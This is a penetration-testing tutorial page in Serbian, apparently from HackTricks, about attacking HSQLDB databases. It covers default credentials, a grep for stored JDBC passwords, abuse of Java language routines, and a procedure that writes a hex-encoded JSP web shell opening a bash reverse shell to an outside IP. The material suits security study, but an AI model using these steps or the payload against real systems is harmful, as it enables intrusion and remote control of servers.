5.3 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Osnovne informacije
HSQLDB (HyperSQL DataBase) je vodeći SQL relacijski sistem baza podataka napisan u Javi. Pruža mali, brzi višedretveni i transakcijski motor baze podataka sa tabelama u memoriji i na disku, i podržava ugrađene i serverske režime.
Podrazumevani port: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Information
Default Settings
Imajte na umu da je po defaultu ova usluga verovatno pokrenuta u memoriji ili je vezana za localhost. Ako ste je pronašli, verovatno ste iskoristili drugu uslugu i tražite da povećate privilegije.
Podrazumevani kredencijali su obično sa
sa praznom lozinkom.
Ako ste iskoristili drugu uslugu, pretražite moguće kredencijale koristeći
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Napomena pažljivo zabeležite ime baze podataka - biće vam potrebno za povezivanje.
Prikupljanje informacija
Povežite se na DB instancu preuzimanjem HSQLDB i ekstraktovanjem hsqldb/lib/hsqldb.jar
. Pokrenite GUI aplikaciju eww
koristeći java -jar hsqldb.jar
i povežite se na instancu koristeći otkrivene/slabe akreditive.
Napomena: URL za povezivanje će izgledati otprilike ovako za udaljeni sistem: jdbc:hsqldb:hsql://ip/DBNAME
.
Trikovi
Java jezičke rutine
Možemo pozvati statičke metode Java klase iz HSQLDB koristeći Java jezičke rutine. Imajte na umu da klasa koja se poziva mora biti u classpath-u aplikacije.
JRT-ovi mogu biti funkcije
ili procedure
. Funkcije se mogu pozivati putem SQL izjava ako Java metoda vraća jednu ili više SQL-kompatibilnih primitivnih promenljivih. Pozivaju se koristeći VALUES
izjavu.
Ako Java metoda koju želimo da pozovemo vraća void, moramo koristiti proceduru koja se poziva sa CALL
izjavom.
Čitanje Java sistemskih svojstava
Kreirajte funkciju:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Izvrši funkciju:
VALUES(getsystemproperty('user.name'))
Možete pronaći spisak sistemskih svojstava ovde.
Pisanje sadržaja u datoteku
Možete koristiti com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
Java gadget koji se nalazi u JDK automatski učitan u klasu aplikacije
da biste zapisali heksadecimalno kodirane stavke na disk putem prilagođene procedure. Napomena: maksimalna veličina je 1024 bajta.
Kreirajte proceduru:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Izvrši proceduru:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.